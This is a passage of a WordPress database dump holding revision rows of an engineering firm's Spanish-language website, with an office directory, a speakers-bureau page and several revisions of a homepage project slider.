id=\"19\">SACRAMENTO</h2>\r\n<strong>dirección</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"6\">Tamuning</h2>\r\n<strong>dirección</strong>\r\n\r\nITC Building Suite 801\r\n\r\n590 S. Marine Corps Drive\r\n\r\nTamuning, Guam 96913\r\n\r\n<strong>teléfono</strong>\r\n\r\n671-648-1000\r\n\r\n<strong>fax</strong>\r\n\r\n671-648-1001\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-6','','','2012-06-15 12:23:23','2012-06-15 12:23:23','',14,'http://moffattnichol.com/spanish/14-revision-6/',0,'revision','',0),(2753,1,'2012-06-15 11:32:37','2012-06-15 11:32:37','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios Planeamiento maestro portuario y de terminales Seguridad portuaria Mitigación para impacto de grandes proyectos de desarrollo portuario Planeamiento y automatización de terminales de contenedores Desarrollo portuario internacional Diseño de pavimentos portuarios Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal Planeamiento, obtención de fondos y diseño de carga multimodal Diseño antisísmico Diseño y análisis de puentes Terminales de graneles Ingeniería de eventos extremos Análisis y protección de tsunamis Defensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías Terminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras Terminales de carga líquida a granel Terminales de GNL Amarres de boya simple y múltiple Diseño de tuberías submarinas Análisis de buques de paso Análisis y diseño de amarres y atraques Cimentaciones de turbinas eólicas costa afuera Puertos de acceso a parques eólicos costa afuera Almacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) Tendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado Ingeniería de recursos hídricos Ingeniería y modelación costeras Gestión de aguas pluviales costeras Gestión y planeamiento de la zona costera Aumento del nivel del mar y Cambio climático Vulnerabilidad de la infraestructura costera Sedimentos contaminados Gestión de la calidad del aire Estructuras de control de inundaciones Restauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos Diseño de estructuras marítimas Desarrollo de centros turísticos Recuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas Ingeniería de vida de servicio Investigaciones del frente costero Sistemas de gestión del mantenimiento y Sistemas de gestión de activos Rehabilitación Muestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro Asociaciones público-privadas La economía y las tendencias globales Evaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-2','','','2012-06-15 11:32:37','2012-06-15 11:32:37','',80,'http://moffattnichol.com/spanish/80-revision-2/',0,'revision','',0),(2754,1,'2012-07-09 11:53:15','2012-07-09 11:53:15','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol lideró una empresa conjunta con MN3M que proporcionó el planeamiento, el análisis, la representación gráfica, los documentos de contratos de diseño-licitación-construcción, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrolló <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa Corredor Alameda Equipo de Ingeniería de las articulaciones, Moffatt & Nichol proporcionan planificación, ingeniería <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Huishan North Bund Marina de Servicios de Ingeniería</strong></div>\r\n                <div class=\"project_right\">Como miembro clave del equipo de diseño de Huishan Norte Bund, Moffatt & Nichol proporcionan el diseño esquemático de dos cuencas marinas y sistemas de bloqueo,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Sabine Pass LNG Marine Terminal</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol proporcionan EPC diseño de ingeniería marina para la Sabine Pass LNG Terminal en el Canal Sabine, a unos 5 kilómetros desde el Golfo de México.<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Puget Sound Naval Shipyard Frente de Inspección de Instalaciones</strong></div>\r\n              <div class=\"project_right\">En virtud de un contrato de IDIQ con el Centro de Servicio NAVFAC, Moffatt & Nichol proporcionan instalaciones ribereñas servicios de inspección de<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-8','','','2012-07-09 11:53:15','2012-07-09 11:53:15','',19,'http://moffattnichol.com/spanish/19-revision-8/',0,'revision','',0),(2755,1,'2012-12-26 14:38:36','2012-12-26 14:38:36','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol lideró una empresa conjunta con MN3M que se encargó del planeamiento, el análisis, la representación, los documentos de contratos de diseño-licitación-construcción, la gerencia<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de las playas de Coney Island, Moffatt & Nichol desarrolló alternativas para mejorar la retención<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa conjunta Alameda Corridor Engineering Team, Moffatt & Nichol prestó servicios de planeamiento, ingeniería y gestión del programa para el proyecto<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Servicios de ingeniería del puerto deportivo Huishan North Bund</strong></div>\r\n                <div class=\"project_right\">Como miembro principal del equipo de diseño de Huishan North Bund, Moffatt & Nichol aportó el diseño esquemático para dos sistemas de estanques y esclusas así como el diseño de<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal marítima de GNL Sabine Pass</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol aportó el diseño de ingeniería marítima EPC (Ingeniería, adquisición y construcción) para la terminal marítima de gas natural licuado Sabine Pass en la vía navegable Sabine, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Inspección de instalaciones de frente costero del astillero naval Puget Sound</strong></div>\r\n              <div class=\"project_right\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con el Centro de servicio NAVFAC, Moffatt & Nichol prestó servicios de inspección de instalaciones <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-9','','','2012-12-26 14:38:36','2012-12-26 14:38:36','',19,'http://moffattnichol.com/spanish/19-revision-9/',0,'revision','',0),(2756,1,'2012-12-26 14:40:12','2012-12-26 14:40:12','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol lideró una empresa conjunta con MN3M que se encargó del planeamiento, el análisis, la representación, los documentos de contratos de diseño-licitación-construcción, la gerencia <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de las playas de Coney Island, Moffatt & Nichol desarrolló alternativas para mejorar la retención <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa conjunta Alameda Corridor Engineering Team, Moffatt & Nichol prestó servicios de planeamiento, ingeniería y gestión del programa para el proyecto <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Servicios de ingeniería del puerto 